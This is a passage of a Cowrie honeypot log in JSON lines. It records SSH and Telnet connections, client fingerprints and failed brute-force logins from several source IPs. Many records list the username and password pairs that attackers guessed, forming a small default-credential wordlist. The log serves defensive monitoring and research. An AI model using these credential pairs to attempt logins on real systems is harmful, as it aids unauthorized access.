penssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:23.391814Z","src_ip":"176.65.132.129","session":"e64c475b28fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar123","message":"login attempt [sonar/sonar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:23.636130Z","src_ip":"176.65.132.129","session":"e64c475b28fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.68898272514343,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:24.452362Z","src_ip":"38.60.198.128","session":"b8a68e832a48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:24.726331Z","src_ip":"176.65.132.129","session":"e64c475b28fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34750,"dst_ip":"10.17.0.5","dst_port":22,"session":"4aba60e0a2a7","protocol":"ssh","message":"New connection: 176.65.132.129:34750 (10.17.0.5:22) [session: 4aba60e0a2a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:26.607012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:26.611305Z","src_ip":"176.65.132.129","session":"4aba60e0a2a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:26.823877Z","src_ip":"176.65.132.129","session":"4aba60e0a2a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:27.122111Z","src_ip":"176.65.132.129","session":"4aba60e0a2a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:28.207157Z","src_ip":"176.65.132.129","session":"4aba60e0a2a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34772,"dst_ip":"10.17.0.5","dst_port":22,"session":"31f727e03b8b","protocol":"ssh","message":"New connection: 176.65.132.129:34772 (10.17.0.5:22) [session: 31f727e03b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:30.039171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:30.046520Z","src_ip":"176.65.132.129","session":"31f727e03b8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:30.128649Z","src_ip":"176.65.132.129","session":"31f727e03b8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:30.374325Z","src_ip":"176.65.132.129","session":"31f727e03b8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:31.464253Z","src_ip":"176.65.132.129","session":"31f727e03b8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49884,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed5b72a58370","protocol":"telnet","message":"New connection: 38.60.198.128:49884 (159.203.135.109:23) [session: ed5b72a58370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:32.711554Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34786,"dst_ip":"10.17.0.5","dst_port":22,"session":"36159c281bef","protocol":"ssh","message":"New connection: 176.65.132.129:34786 (10.17.0.5:22) [session: 36159c281bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:33.456870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:33.589829Z","src_ip":"176.65.132.129","session":"36159c281bef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:33.593408Z","src_ip":"176.65.132.129","session":"36159c281bef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:33.919141Z","src_ip":"176.65.132.129","session":"36159c281bef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":50746,"dst_ip":"159.203.135.109","dst_port":22,"session":"061d27e65f5b","protocol":"ssh","message":"New connection: 57.128.222.14:50746 (159.203.135.109:22) [session: 061d27e65f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:34.796356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:34.802461Z","src_ip":"57.128.222.14","session":"061d27e65f5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":59502,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed4deae39042","protocol":"ssh","message":"New connection: 198.98.56.227:59502 (10.17.0.5:22) [session: ed4deae39042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:34.867764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:34.876561Z","src_ip":"198.98.56.227","session":"ed4deae39042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:34.918619Z","src_ip":"57.128.222.14","session":"061d27e65f5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:35.004549Z","src_ip":"176.65.132.129","session":"36159c281bef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:35.145395Z","src_ip":"198.98.56.227","session":"ed4deae39042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456789","message":"login attempt [root/qQ123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:35.394160Z","src_ip":"57.128.222.14","session":"061d27e65f5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@1234","message":"login attempt [ubuntu/ubuntu@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:36.285107Z","src_ip":"198.98.56.227","session":"ed4deae39042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:36.507581Z","src_ip":"57.128.222.14","session":"061d27e65f5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46074,"dst_ip":"10.17.0.5","dst_port":22,"session":"5338889070fe","protocol":"ssh","message":"New connection: 176.65.132.129:46074 (10.17.0.5:22) [session: 5338889070fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:36.942962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:36.947630Z","src_ip":"176.65.132.129","session":"5338889070fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:37.029039Z","src_ip":"176.65.132.129","session":"5338889070fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:37.275075Z","src_ip":"176.65.132.129","session":"5338889070fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:37.302305Z","src_ip":"198.98.56.227","session":"ed4deae39042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:38.359631Z","src_ip":"176.65.132.129","session":"5338889070fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58476,"dst_ip":"159.203.135.109","dst_port":23,"session":"c13aee06a380","protocol":"telnet","message":"New connection: 38.60.198.128:58476 (159.203.135.109:23) [session: c13aee06a380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:39.117232Z"}
{"eventid":"cowrie.session.closed","duration":51.91447925567627,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:39.140663Z","src_ip":"64.227.82.147","session":"733d81f2d52a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46084,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d3df8c5e0a0","protocol":"ssh","message":"New connection: 176.65.132.129:46084 (10.17.0.5:22) [session: 7d3df8c5e0a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:40.428482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:40.433552Z","src_ip":"176.65.132.129","session":"7d3df8c5e0a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:40.515796Z","src_ip":"176.65.132.129","session":"7d3df8c5e0a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parolamea","message":"login attempt [root/parolamea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:40.762494Z","src_ip":"176.65.132.129","session":"7d3df8c5e0a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34074,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e2b150255a2","protocol":"telnet","message":"New connection: 38.60.198.128:34074 (159.203.135.109:23) [session: 6e2b150255a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:40.775853Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.164.240","src_port":39048,"dst_ip":"10.17.0.5","dst_port":22,"session":"04227bcfabff","protocol":"ssh","message":"New connection: 107.6.164.240:39048 (10.17.0.5:22) [session: 04227bcfabff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:40.853235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:40.858444Z","src_ip":"107.6.164.240","session":"04227bcfabff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecd